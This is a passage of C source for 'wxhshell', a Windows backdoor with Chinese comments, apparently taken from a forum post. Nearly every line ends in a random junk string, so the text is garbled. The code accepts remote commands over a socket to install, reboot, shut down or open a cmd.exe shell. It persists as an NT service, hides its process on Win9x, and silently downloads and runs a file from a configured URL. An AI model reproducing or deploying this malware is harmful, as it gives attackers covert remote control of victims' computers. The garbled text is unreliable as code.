    switch(cmd[0]) { h5do?b v!  
  uDWxIP,m  
  // 帮助 oQS_rv\Ber  
  case '?': { 3R=R k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I=DvP;!  
    break; 3`mM0,fY  
  } z5|m`$gy  
  // 安装 ALOS>Bi&  
  case 'i': { icw (y(W  
    if(Install()) "~|;XoMU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>pFUf|cV  
    else 43HZ)3!me  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &l0-0 T>  
    break; FB\lUO)U\c  
    } us0{y7(p  
  // 卸载 6zf3A:]&{  
  case 'r': { cj5; XK  
    if(Uninstall()) ylo/]pVs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @7fx0I'n  
    else f-BEfC,}'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UgBD| ~zu  
    break; @_L:W1[  
    } wyVQV8+&>  
  // 显示 wxhshell 所在路径 A;'*>NS  
  case 'p': { nz}} m^-j  
    char svExeFile[MAX_PATH]; M#?^uu'  
    strcpy(svExeFile,"\n\r"); p3L0'rY|+  
      strcat(svExeFile,ExeFile); ;G=:>m~  
        send(wsh,svExeFile,strlen(svExeFile),0); )}[:.Zg,3/  
    break; ET1>&l:.  
    } ui[E,W~  
  // 重启 ' thEZ  
  case 'b': { "8%z,lHw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @8;0p  
    if(Boot(REBOOT)) Ug1[pONk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \(.])I>)eh  
    else { @8jc|X<A  
    closesocket(wsh); W bP wO  
    ExitThread(0); D#pZN,'  
    } 5e|2b] f$  
    break; u[>hs \3k  
    } ]-D&/88``  
  // 关机 5YW.s   
  case 'd': { YO3$I!(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P\3$Y-id  
    if(Boot(SHUTDOWN)) 9_07?`Jr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q 6)5*o8n  
    else { 3ZhB 8 P  
    closesocket(wsh); Onqd2'%<  
    ExitThread(0); sgRD]SF  
    } ^-Knx!z  
    break; K5ywO8_6`  
    } IdzrQP  
  // 获取shell ^-|yF2>`  
  case 's': { </%n:<z4  
    CmdShell(wsh); `~.0PnHf  
    closesocket(wsh); $d +n},[C{  
    ExitThread(0); uQYBq)p|  
    break; JBCJVWUt  
  } rK@UCRf  
  // 退出 YdT-E  
  case 'x': { {Yp;R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7H=^~J  
    CloseIt(wsh); }$zJdf,\  
    break; ~:|qdv%\  
    } LM~,`#3 Ru  
  // 离开 |iJ+e -_R  
  case 'q': { _&~y{;)S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ju@5D h  
    closesocket(wsh); 7LB#\2  
    WSACleanup(); u3Jsu=Nx-  
    exit(1); 02EbmP  
    break; %L^S;v3  
        } @rh1W$  
  } YnCWmlC  
  } \qU.?V[2  
"E><:_,\  
  // 提示信息 ,iUYsY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lYz$~/sd  
} 6J\Yi)v<  
  } d_5wMK6O6  
}g?9 /)z  
  return; nvyyV\w  
} vT7ei"~&u  
#&hu-gMV  
// shell模块句柄 >H ,t^i}@  
int CmdShell(SOCKET sock) TAbC-T.EV  
{ +QqEUf<U*,  
STARTUPINFO si; 9bpY>ze  
ZeroMemory(&si,sizeof(si)); t-vH\m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pFu3FUO*;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p:,(r{*?  
PROCESS_INFORMATION ProcessInfo; [}/\W`C  
char cmdline[]="cmd"; nsq7,%5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qP"<vZ  
  return 0; CENA!WWQ  
} y3 {om^ f  
=a_B'^`L  
// 自身启动模式 8#Q=CTjF  
int StartFromService(void) O1nfz>L`  
{ 8: KlU(J  
typedef struct 27;t,Oq}  
{ |<@X* #X5  
  DWORD ExitStatus; .<|7BHL  
  DWORD PebBaseAddress; ~6nq$(#  
  DWORD AffinityMask; XK)qDg  
  DWORD BasePriority; (wNL,<%~  
  ULONG UniqueProcessId; Jmln*,Ol7  
  ULONG InheritedFromUniqueProcessId; nnU &R  
}   PROCESS_BASIC_INFORMATION; Um k9  
CapWn~*g  
PROCNTQSIP NtQueryInformationProcess; a9ab>2G?FR  
(~r"N?`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p5!=Ur&A c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %2<G3]6^U  
+3 2"vq)_  
  HANDLE             hProcess; o)P'H"Ki  
  PROCESS_BASIC_INFORMATION pbi; > dJvl|  
S-"&#OfWg<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F3\'WQh  
  if(NULL == hInst ) return 0; =<.8  
7W[}7Y   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "8Ud&o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F*F U[ 5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9L}=xX`>?  
21$YZlhJ  
  if (!NtQueryInformationProcess) return 0; 1/Pou)D  
`e t0i.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g4WN+y`  
  if(!hProcess) return 0; z?HP%g'M~  
D7b<&D@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5MH\Gq e7  
'aQ"&GX@  
  CloseHandle(hProcess); s[ |sfqB1`  
vdloh ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  ZqQJFyV*  
if(hProcess==NULL) return 0; \4q% n  
!5Ko^:+Y  
HMODULE hMod; LL+ROX^M  
char procName[255]; '~{^c}  
unsigned long cbNeeded; |->{NU Z{  
'W 5r(M4U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hPhNDmL#3  
f%0^89)  
  CloseHandle(hProcess); i DV.L  
]Cpd`}'  
if(strstr(procName,"services")) return 1; // 以服务启动 j?ihUNY!+  
<N11$t&_  
  return 0; // 注册表启动 0wV!mC  
} {O,D9<  
>OVi{NyT  
// 主模块 D.H$4[u;j  
int StartWxhshell(LPSTR lpCmdLine) XJ~_FiB  
{ 9^Q:l0|  
  SOCKET wsl; E~5r8gM,0  
BOOL val=TRUE; EOu\7;kE9  
  int port=0; TJ3CXyRq  
  struct sockaddr_in door; Hxft~*  
(i^3Lw :  
  if(wscfg.ws_autoins) Install(); 8;YeEW 5  
+2!J3{[J  
port=atoi(lpCmdLine); oR>o/$z$)g  
\x i wp.  
if(port<=0) port=wscfg.ws_port; J&w%lYiu5  
!uLW-[F,  
  WSADATA data; uBI?nv,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R9Wh/@J]  
8munw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $F-qqkR$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mHjds77e  
  door.sin_family = AF_INET; Q#8}pBw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @BWroNg{  
  door.sin_port = htons(port); ^~Nz8PCY  
',k0 _n?t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8jW{0&ox)  
closesocket(wsl); y*A#}b*0  
return 1; !4cR&@[  
} {"l_x]q  
Cdl#LVqs  
  if(listen(wsl,2) == INVALID_SOCKET) { Szrr`.']  
closesocket(wsl); xoI;s}*E  
return 1; XYIZ^_My  
} ;:Q 5?zM  
  Wxhshell(wsl); p_S8m|%  
  WSACleanup(); ?1JVzZ4H  
U^SJWYi<Y  
return 0; PV vNu5k  
3eQ-P8LS  
} /gh=+;{  
@ROMHMd}  
// 以NT服务方式启动 S(Md  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) laN:H mR8  
{ ;rWgt!l  
DWORD   status = 0; )K.~A&y@  
  DWORD   specificError = 0xfffffff; 8#NtZ  
k"F5'Od  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )p'ZSXb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _2+}_ >d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6}"P m  
  serviceStatus.dwWin32ExitCode     = 0; /,dcr*  
  serviceStatus.dwServiceSpecificExitCode = 0; ;Ut0tm  
  serviceStatus.dwCheckPoint       = 0; :iJ+ImBpK  
  serviceStatus.dwWaitHint       = 0; ocBfs^ aW  
[YG\a5QK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r4/G&m[V  
  if (hServiceStatusHandle==0) return; 3/V&PDC*'  
9 lE[oAC  
status = GetLastError(); aOWW ..|  
  if (status!=NO_ERROR) y?j#;n0  
{ ei)ljvvmHP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Br.$:g#  
    serviceStatus.dwCheckPoint       = 0; eAN]*: ]g  
    serviceStatus.dwWaitHint       = 0; NfizX!w&  
    serviceStatus.dwWin32ExitCode     = status; TUoEk  
    serviceStatus.dwServiceSpecificExitCode = specificError; .g71?^?(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); . (G9mZFV  
    return; xo2PxUO  
  } D@ut -J(.  
PjZsMHW%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9}4P%>_  
  serviceStatus.dwCheckPoint       = 0; @NlE2s6a  
  serviceStatus.dwWaitHint       = 0; >+y[HTf-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =W'a6)WE  
} }&A!h  
ZGgKCCt  
// 处理NT服务事件,比如:启动、停止 QcJ?1GwA"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l"^'uGB'  
{ u;p.:{'  
switch(fdwControl) y J*`OU#  
{ ("-Co,4ey  
case SERVICE_CONTROL_STOP: %+gYZv-  
  serviceStatus.dwWin32ExitCode = 0; |O3wAxc3W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "8}p>gS  
  serviceStatus.dwCheckPoint   = 0; Hhx"47:  
  serviceStatus.dwWaitHint     = 0; e;L++D  
  { _'DT)%K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =@(&xfTC  
  } " &2Kvsz  
  return; q5C(/@)^  
case SERVICE_CONTROL_PAUSE: ;NNYJqWd^]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MH@=Qqx#=t  
  break; 2F* spu  
case SERVICE_CONTROL_CONTINUE: V4I5PPz~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PyQt8Qlz  
  break; Xc"l')1H  
case SERVICE_CONTROL_INTERROGATE: kT6h}d^/^  
  break; D5lzrpg_e  
};  v?Dc3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $yxwB/O(  
} r}351S5(  
:[![9JS/  
// 标准应用程序主函数 N{oi }i6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JSz;>  
{ {wsO8LX  
f_A'.oq+  
// 获取操作系统版本 Mttt]]  
OsIsNt=GetOsVer(); We%HdTKT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sG-$d\ 1d  
|v,%!p s  
  // 从命令行安装 Gy}WZ9{  
  if(strpbrk(lpCmdLine,"iI")) Install(); l~ 3H"  
P5$d#Y(=  
  // 下载执行文件 \"=4)Huv  
if(wscfg.ws_downexe) { u|]{|Ya'%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O^|:q  
  WinExec(wscfg.ws_filenam,SW_HIDE); bloe|o!  
} QuFzj`(  
d^uE4F}  
if(!OsIsNt) { _0HCtx ;  
// 如果时win9x,隐藏进程并且设置为注册表启动 =VA5!-6<Uq  
HideProc(); >ZRCM  
StartWxhshell(lpCmdLine); } @r|o:I  
} 2rxZN\gyL  
else $z1W0  
  if(StartFromService()) (!'=?B "  
  // 以服务方式启动 ^YVd^<cE  
  StartServiceCtrlDispatcher(DispatchTable); )|52B;yZx  
else {7EnM1]  
  // 普通方式启动 @34Z/%A  
  StartWxhshell(lpCmdLine); UXs=7H".  
Oe#*-  
return 0; d}d1]@Y\  
}
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只看该作者 1 发表于: 2006-10-10
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